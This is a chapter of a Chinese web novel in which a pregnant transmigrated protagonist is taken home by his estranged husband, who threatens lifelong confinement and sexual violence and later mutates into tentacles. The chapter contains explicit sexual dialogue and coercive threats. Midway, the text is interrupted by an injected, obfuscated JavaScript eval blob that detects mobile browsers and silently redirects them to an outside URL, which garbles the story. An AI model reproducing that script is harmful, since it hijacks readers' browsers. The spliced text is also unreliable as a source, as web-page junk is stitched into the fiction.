车行驶得很平稳,他跟谢烬并排坐在后座,窗外风景很不错,亓宁抽空瞄了一眼谢烬,发现对方现在虽然神情冷淡,但没什么戾气,就忍不住跟他说话:“你不是恨我吗?为什么还要带我回家呀?” “公共场所不方便。” 亓宁这才想起,虽然谢烬目前为止没对他做什么恐怖的事情,但是毕竟一直在公共场所,肯定要有所收敛的,回去他家后不会就要开始变态了吧。 他有些结巴:“有、有什么不方便的?” “那么,你想在车上做?” AI机器人司机闻言十分智能地升起了挡板。 亓宁想的根本不是这个!尽管是机器人还是觉得很羞耻。他脸颊通红:“你为什么在想这个,难道你不想打我一顿出出气吗?” “早上不是刚扇过你的小b吗?水好多。” “我说的不是那个!谢烬你!你太无耻了!” 谢烬闻言瞥一眼亓宁红苹果似的害羞脸蛋,有些可爱,抬手覆在了亓宁小腹上,软软的。 “倘若我真的变态,就会把你操到流产。” “疯子。” 亓宁被摸得颤了下,下意识想保护胎儿,却盖在了谢烬手上,瞬间像被烫到了一样拿开。 谢烬一把抓住亓宁的手,他的手很宽大,能一整个把亓宁的手握在掌心:“躲什么,很怕我。” 亓宁被握得脑袋发懵:“嗯,怕。” 垂着眸,身体向外,明显的排斥和回避。 谢烬眼眸一暗,握得更紧:“怕就对了,我把你带在身边又不是为了好吃好喝的伺候你。” 亓宁不解:“为什么要把我一直带在身边。” “因为你是我的妻子。” “那我要离婚。“ 谢烬面色很冷:“离了,然后呢。” 亓宁想反驳,又噎住。 他现在身无分文,饭都吃不上,确实一时离了不知道咋办,本来想着把那个戒指卖了应该能有点钱,可是睡着了,下午一醒,垃圾就被清理掉了。 亓宁仰起小脸:“你难道想养我一辈子吗。” 对上亓宁乌黑透亮的眼睛,谢烬脑子里突然闪过些片段。婚礼时,亓宁也是这么眼睛亮晶晶地看着他,问他会养我一辈子吗,得到肯定回答后立马扑他怀里说自己好开心,是全世界最幸福的新娘。 谢烬没有回答。 片刻后只冷笑了一声。 “养你?做梦。” “不过是为了折磨你。” “因为这是你欠我的。” “你要永远待在我身边还债。” 亓宁觉得谢烬的想法怪怪的:“离了婚你也可以报复我呀,这么多年过去了,你干嘛不离婚。” “离了婚方便你和短命鬼再婚吗?” 确实,按照系统给亓宁编造的经历,怕重婚被发现才一直拖着没有结婚,也就因此没分到遗产。 “那现在可以离了,他已经死了。” 谢烬松开了亓宁的手:“别想了,你这辈子都别想摆脱我,不管是身体,还是思想,更别说社会关系了,你永远都得跟我绑在一起,死了也是。” 埋都要埋一起。 雪白的手腕上落下了粉色的指印,还残留着滚烫的触感,亓宁莫名有些害怕:“关我一辈子?” “不然呢。” “再让你跑一次?” 亓宁脑子里已经浮现出被谢烬戴上手铐脚链关在房间里的场景了:“谢烬,你变了。” 变得很极端,很变态。 “先变的人是你。” 把我逼疯的也是你。 谢烬眼里的冰冷让亓宁无法反驳,只能沉默。 * 到谢烬家后,看到还是当初那栋房子,亓宁的心情有些微妙:“你又把那栋房子买回来了……” 谢烬目光冷冷扫视一圈,没说话。亓宁急于脱手贱卖的,谢烬重新买回来花了原价的十倍不止。 买的只是那份回忆。 但已经被陌生人使用过了,曾经爱过的那些细微痕迹悉数被全新的装修覆盖,完全面目全非了。 买回来睹物思人,结果连回忆都是稀碎的。 不过,他看着在房子里这看看那看看的鲜活无比的亓宁,又觉得那些都无所谓了。 现在,他有的是时间创造新的记忆。 在每一个角落。 亓宁已经在外头吃过晚饭了,这会儿只想洗个澡好好放松一下睡一觉:“我的房间在哪儿呀?” 问完又觉得自己想得太美了,说不定谢烬压根没想让他睡觉呢,乖乖道:“地铺也可以的。” 谢烬给亓宁指了个房间,正要说什么,突然瞳色一暗,面色有些难看,径直进了自己的房间。 亓宁疑惑,但不想惹事,没有管他。 房间是自带洗浴间的,亓宁舒舒服服泡了个澡就准备上床睡觉了,因为担心谢烬突然过来找他的麻烦,还把门给反锁了。 但晚上谢烬并没有过来。 亓宁躺在床上,后颈被咬过的地方莫名发烫。 这个房间应该是谢烬之前睡过的,有谢烬身上的气味,不完全是信息素的味道,就是很淡的木质香气,挺好闻的,清新又安神。 枕头很大,亓宁抱着能卡进腿间,脸颊压在枕头里闻了闻,腿蹭了蹭,莫名有些湿润。 肯定是临时标记的问题,让他对谢烬的味道很敏感,一闻到就想起了身体遭受过的一切。 睡不着的亓宁又戳了系统。 [你说那个,真的可以降低怨念值吗?] [哪个?] [就那个呀?a什么c的那个。] [哦,吃b是吗?] [混蛋!你非要说那么清楚嘛!] [可以现在过去坐他脸上试试,他应该睡了。] 亓宁捂住脸[混蛋!能不能矜持一点!] 他根本不敢想象那个画面,光想想坐上去后谢烬会用怎么样的眼神看他就泛滥得更厉害了。 半晌又问系统 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393072|200324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' [要是他醒了怎么办。] [可以假装梦游,然后一脸萌萌的不知道。] [他会不会生气然后打我一顿?] [应该不会,假如我是他的话醒了也会装睡。] [……够了!混蛋!你可以下线了!滚!] [抱歉。] 系统每次就这样把他气晕然后扁扁地消失。 亓宁折腾了很久还是睡不着,想起床找点冰水喝一下降降火。他轻轻打开门,光着脚踩在地上,还好铺了柔软厚实的地毯,所以踩上去并不冷。 四周静悄悄的,掉一根针在地上都能听见。 看到谢烬的房间没关灯,从门缝里透出光来。 亓宁打开门,想看看谢烬睡没睡,却被房间里的场景吓得毛骨悚然,浑身都僵住了。 谢烬靠坐在飘窗上,身上长出了许多触手。 原本挺拔高大的身形在剧烈撕裂中扭曲,骨节发出细碎的崩裂声,皮肤从脊背、腰侧撕裂,血珠不断渗出来,汇成粘稠的血淌过肌理分明的腰线。 蓝黑的触手从撕裂的皮肉里破体而出,血肉向外翻卷,触手无意识的生长、伸展,都牵扯着伤口带来更剧烈的疼痛,空气中弥漫开浓烈的血腥味。 谢烬薄唇紧抿,下颌线绷成凌厉的弧线,虽然没发出任何声音,但从额角暴起的青筋、湿透贴在眉骨的碎发,能看出他正承受着撕心裂肺的痛苦。 亓宁立马联想起早上医生说的,谢烬身体里有外来组织,如果谢烬不按时吃药,会变异的。 谢烬瞬间就注意到了亓宁:“出去。” 冰蓝的瞳仁里弥漫着沙砾一般的黑色。 亓宁这才如梦惊醒,吓得跑了出去,回到自己房间关上门,躲进了被窝里。 可是如果谢烬死了,他的任务怎么办。 亓宁想着应该报警或者打急救电话,可是,如果他们发现谢烬这个样子把他当怪物抓起来研究怎么办,也不能找那个齐墨,齐墨可最喜欢研究了。 他实在不知道怎么办了。 做了一会儿心里建设后再次打开谢烬的房门冲进去:“我该怎么办!要报警还是找齐墨啊!有没有你信任的人呀!谢烬你怎么样!千万别死啊!” 看着亓宁这么担心自己,谢烬一瞬间忘记了痛苦,声音压得平稳:“出去,什么都不用做。” 变异平均每月发生一次,已经习惯了,这些触手早就成了他身体的一部分,只为了重新站起来。 亓宁怎么可能什么都不做,如果谢烬死了他也完蛋了。就算不是为了任务,他也不希望谢烬就这么死掉,如果谢烬会死,也不希望他孤单地死掉。 于是他冲过去,一把扑进谢烬怀里。 “你死了我也活不了了,我们报警吧。” “要是你被当成怪物,我就进去陪你!” 亓宁不知道怎么的就哭了,泪水热热的,浸湿了谢烬的胸膛,又意外的很温暖。 谢烬将亓宁抱紧,大手摸了摸亓宁的后脑。 “别怕,没事。” 触手很亲近亓宁,对他很温柔,顺着亓宁雪白的脚踝向上缠绕,将他轻柔地束缚在谢烬怀中,像只被蛛网束缚住的蝶。 有好几根触手闻到了味道,有想伸进亓宁睡袍里找水喝的,也有想从领口进去嘬乃的,都被谢烬直接拔了,掉在地上不断抽搐着,直到彻底死掉。 今晚,谢烬只想享受这份温暖。 就在这么一片凌乱的、污浊的血色中相拥。 不知过去了多久,亓宁哭得睡着了。 他缩在谢烬怀里,手揪着谢烬的衣服,脸颊紧紧贴着谢烬的胸膛,浓密的睫毛还挂着泪水。 好乖。 [怨念值85。]